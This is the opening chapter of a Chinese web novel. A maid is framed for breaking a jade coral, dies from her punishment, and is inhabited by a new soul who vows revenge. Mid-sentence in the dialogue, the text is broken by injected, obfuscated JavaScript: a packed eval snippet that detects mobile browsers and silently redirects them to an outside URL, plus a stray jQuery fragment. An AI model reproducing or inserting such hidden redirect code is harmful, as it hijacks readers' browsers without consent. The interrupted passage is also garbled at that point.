1. 第 1 章
后面跃出的太阳一照,这物件顿时五彩斑斓,夺目非常。
琥珀赞叹一声:“这是从登州道运来的东海玉珊瑚,极珍贵的宝贝,世子娘子都还没有摸,让你先摸到了。”
原主望着面前的一片璀璨十分震撼,她回头望向一步之外的琥珀:“咱们要搬动的是它?”
琥珀点头:“自然是它。这样珍贵的东西不能让外面的粗笨男人触碰,你放心,不让你一个人搬,我会与你一起的。”
“可是……”
“清殊妹子。”琥珀长叹了口气:“这玉珊瑚的寓意是一双两好,举案齐眉,这院子中说实话除了世子娘子,也只有你有资格摸,世子娘子什么意思你该明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801044|158415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白吧?”
听到这话原主的嘴角不自觉地一顿,刚才的心思全都乱了。这院中奴仆无人不知她们二人的心思,如今世子娘子的贴身婢子这样说就有些暗示的意思了。如果主母愿意容她,她也一定是尽力伺候,让主母高兴的。
琥珀甜甜蜜蜜地道:“我不能说得太透,你自己心里明白就好,我是世子娘子的陪嫁,是娘子的贴心人,我与世子没什么情谊的。从今往后世子身边的贴心人,娘子想要你做头一个。”
头晕脑胀的婢子登时被这甜饼胡乱塞喂了个饱,仿佛眼前的玉珊瑚真的是为了她而矗立在那儿,闪烁的光芒也都是她的未来荣光。
她努力振作了精神,极力地克制忍耐着头疼。走上前与琥珀一起搬起玉珊瑚。
玉珊瑚很重,原主手腕酸痛心里却喜滋滋的,就在往门内迈进去的时候,琥珀很自然松开了双手。
“当!”地一声,帘外习习的风从竹篾的间隙里吹进来,将原主发热的脑子吹醒了。
身边响起来琥珀嚎啕大喊:“老天爷呀,你看你干了什么事!”
从四周跃出两个膀大腰圆的婆子将原主登时摁倒,原主明白她这是着了道。
跌碎了一牙的玉珊瑚,印出被按在地上的她苍白的脸。
于是后面的事情就很简单了,罪责是原主一人的,世子娘子命人将她抽了一顿,又剥了她外衣,罚她在寒凉的廊下跪到第二天天亮,谁也不许看望帮助。
半夜下了雨,额头烫得犹如炭火,后来她滚烫的全身变得冰凉。
黎明前的夜幕那样黑,没有一颗星星。
天蒙蒙亮的时候被抬回耳房的,人已经没了。
等再睁开眼睛,清殊这盏美人灯,已经换了魂魄芯子。
雪云秾,也就是现在的清殊抬起眼——太阳光照进来她向着镜子里的自己抿了抿嘴,眼睛里比刚才的时候多了些活气。
你我都是被人所害,我既借了你的身子活下来,那么连带着你的仇,我也一起报了吧!
这时竹篾门帘再次被人掀开,桑凝满怀心事的走了进来。
桑凝与清殊一样都是定平侯世子谢骋的贴身奴婢,她生了张鹅蛋脸,一双丹凤眼清冷又迷人,乌黑头发樱桃样的唇,是个美人。
她看了一眼琥珀有些意外,不与她理睬,几步走上前坐在清殊的床边,观察着清殊的样子。昨日世子娘子下了罚,正在发烧的清殊冷风雨里跪一晚上,抬回来人已经凉透了。
今日缓了过来,可是看上去却有些不太一样。
不过现在不是细想这个的时候,对方已经打上门来了。
桑凝将漆绘食盒放下,从里面拿出一包纸包的红糖,温声道:“这是我去年制好留下的,你喝了身子热一点。”
说着又一样样拿出些小盘子小碗,“我去厨房要了你喜欢的八珍糕,你也晓得,今日是惊蛰,整个府里面忙活着呢,所以别人抽不出空来看你。这不厨房的锦娘偷偷给食盒里装了一碗羊肉汤,对你关心着呢!”
然后抬眼看琥珀:“你来做什么!”
琥珀有意跟清殊为难,因一次没有将清殊整治死,早上不免被主子责怪,于是将这笔账又记在清殊头上。
这婢子完全撕开了面具,一副憎恶的神情打量着二人,一字一句道:“我来瞧瞧这人死没死。真不明白老天爷是怎么回事,居然留着狐狸精一条命,活活地在这儿与我们这样的正经女子怄气。”
“你说谁不正经!”桑凝见识了世子娘子的狠辣,面对琥珀她心里是怯的,眼前穿青色襦裙的琥珀就好像条蛇,正对着她们吐信子。
不过桑凝并没有退让,同是这府里的一等婢子,此时若是退让便是退让一辈子。